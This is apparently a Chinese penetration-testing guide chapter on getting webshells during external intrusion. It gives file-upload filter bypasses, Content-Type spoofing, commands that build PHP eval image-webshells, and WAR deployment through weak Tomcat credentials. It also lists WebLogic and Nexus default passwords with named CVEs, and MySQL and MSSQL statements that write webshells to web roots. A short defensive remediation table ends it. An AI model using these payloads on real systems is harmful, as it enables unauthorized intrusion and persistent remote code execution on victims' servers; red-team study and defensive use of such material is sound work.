第一部分:外网打点篇 —— 边界突破

第二章:Web 漏洞利用与 Getshell

核心逻辑 :拿到 Web 权限(Webshell)是进入内网的门票。本章重点在于快速、稳定地获取控制权,而非单纯弹计算器。


2.1 后台上传漏洞利用

目标:绕过前端/后端校验,上传 WebShell。

2.1.1 黑名单绕过(最经典)

场景 :服务端禁止 .asp, .php, .jsp, .aspx。

绕过技巧:

技巧 Payload / 操作 原理
大小写混淆​ shell.Php, shell.Jsp Windows 文件系统不区分大小写,但代码逻辑可能区分。
特殊后缀​ shell.php5, shell.phtml Apache 解析漏洞(AddHandler)将特定后缀当作 PHP 执行。
双写后缀​ shell.pphphp 过滤逻辑只替换一次 php。
截断上传​ shell.php%00.jpg 旧版 C 语言库(如 fopen)遇到 %00截断。
.htaccess​ 上传 .htaccess文件 AddType application/x-httpd-php .jpg(让 JPG 当 PHP 执行)。
2.1.2 MIME 类型与 Content-Type 绕过

场景 :后端检查 $_FILES['file']['type']。

操作:

使用 Burp Suite 拦截请求,修改:

复制代码
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg   <-- 修改为 image/gif 或 image/png
2.1.3 内容检测绕过(图片马)

场景:后端检查文件内容头(Magic Bytes)。

制作图片马:

bash 复制代码
# Linux 命令
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
cat shell.php >> normal.jpg
mv normal.jpg shell.jpg.php

防御绕过:在图片马头部加入大量垃圾字符(GIF89a),扰乱杀软特征库。


2.2 中间件漏洞利用

目标:利用中间件本身的 RCE 漏洞直接 Getshell。

2.2.1 Apache Tomcat
  • 弱口令部署 WAR 包:

    1. 爆破 /manager/html登录口。

    2. 打包 JSP 马:jar -cvf shell.war shell.jsp。

    3. 上传并访问 http://target/shell/shell.jsp。

  • CVE-2020-1938 (Ghostcat):

    • 利用 AJP 协议读取任意文件或包含 JSP 马。
2.2.2 WebLogic
  • 弱口令 :weblogic/weblogic, system/password。

  • 后台部署:Console 后台上传应用包。

  • 反序列化漏洞:

    • CVE-2017-10271 (XMLDecoder RCE)。

    • CVE-2020-14882 (Console 权限绕过 + RCE)。

2.2.3 Nexus Repository Manager
  • 默认密码 :admin/admin123。

  • RCE 漏洞:CVE-2019-7238 (EL 表达式注入)。


2.3 内存马注入(无文件攻击)

目标:不落地文件,避免被静态查杀。

适用场景:高防护环境、不想留 WebShell 文件。

2.3.1 JSP 内存马(Filter 型)

原理:通过 JSP 执行 Java 代码,动态注册一个 Filter(过滤器),将所有请求拦截到恶意代码。

特点:

  • 重启 Web 服务后失效(通常够用)。

  • 磁盘上找不到 Shell 文件。

2.3.2 .NET 内存马(HttpModule)

原理 :利用 C# 反射机制,动态注册 IHttpModule,挂钩 Application_BeginRequest。

工具 :AntSword插件、Godzilla内存马模块。


2.4 数据库 Getshell

目标:利用数据库权限写文件。

2.4.1 MySQL

条件 :secure_file_priv为空或指定目录,File权限。

命令:

sql 复制代码
-- 1. 导出 Shell
SELECT '<?php @eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- 2. 日志写 Shell (通用)
SET global general_log=on;
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]); ?>';
2.4.2 MSSQL

条件 :xp_cmdshell开启。

命令:

sql 复制代码
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\inetpub\wwwroot\shell.asp';

2.5 防御视角(给客户)

漏洞类型 修复建议
上传漏洞​ 1. 重命名文件(随机名+白名单后缀)。 2. 存储与执行分离(上传目录不给执行权限)。 3. 使用 WAF 拦截畸形包。
中间件漏洞​ 1. 及时更新补丁。 2. 禁用不必要协议(如 AJP)。 3. 强密码策略,限制管理后台访问 IP。
内存马​ 1. 重启 Web 服务。 2. 使用 Arthas (Java) 或 Process Explorer (.NET) 排查异常类/模块。
数据库写文件​ 1. 设置 secure_file_priv=NULL。 2. 禁用 xp_cmdshell。
相关推荐
其实防守也摸鱼40 分钟前
Cylab在线靶场——挑战图书馆初学者指南
服务器·前端·数据库·chrome·安全·网络安全·靶场
qq_443132411 小时前
数字资产安全治理平台是什么:定义、核心能力与典型应用场景
安全
m0_715674438 小时前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
网络·安全·网络安全
国科安芯8 小时前
四重证据,一条逻辑链:商业航天级微控制器MCU抗辐射验证方法学综述——以国科安芯AS32S601为例
人工智能·单片机·嵌入式硬件·mcu·安全·抗辐射
dk_tjy8 小时前
AI驱动的自动化攻击背景下:企业端点安全体系的技术架构与建设路径
网络·人工智能·安全·自动化·终端安全管理·数据防泄漏
梦想出海-Phoebe12 小时前
AI Agent能实现自主复制吗?Anthropic研究揭示模型部署与IoT设备安全问题
人工智能·物联网·安全
hz5678915 小时前
本地部署视频会议系统软件功能有哪些?会议预约、权限分配与协作能力详解
安全·云计算·实时音视频·信息与通信·远程工作
山东科恩光电15 小时前
安全触边电阻变化感应机制与工业自动化设备防夹伤配置实操指南
安全
shiyi.十一16 小时前
【CISP教材】第9知识域:计算环境安全
网络·安全·cisp
YFJ_mily16 小时前
【10-12月优质学术会议合集】会议覆盖人工智能、大数据、高端装备、软件与网络安全 、计算机视觉技术等热门方向
算法·安全·web安全·网络安全·软件·rdlink研发家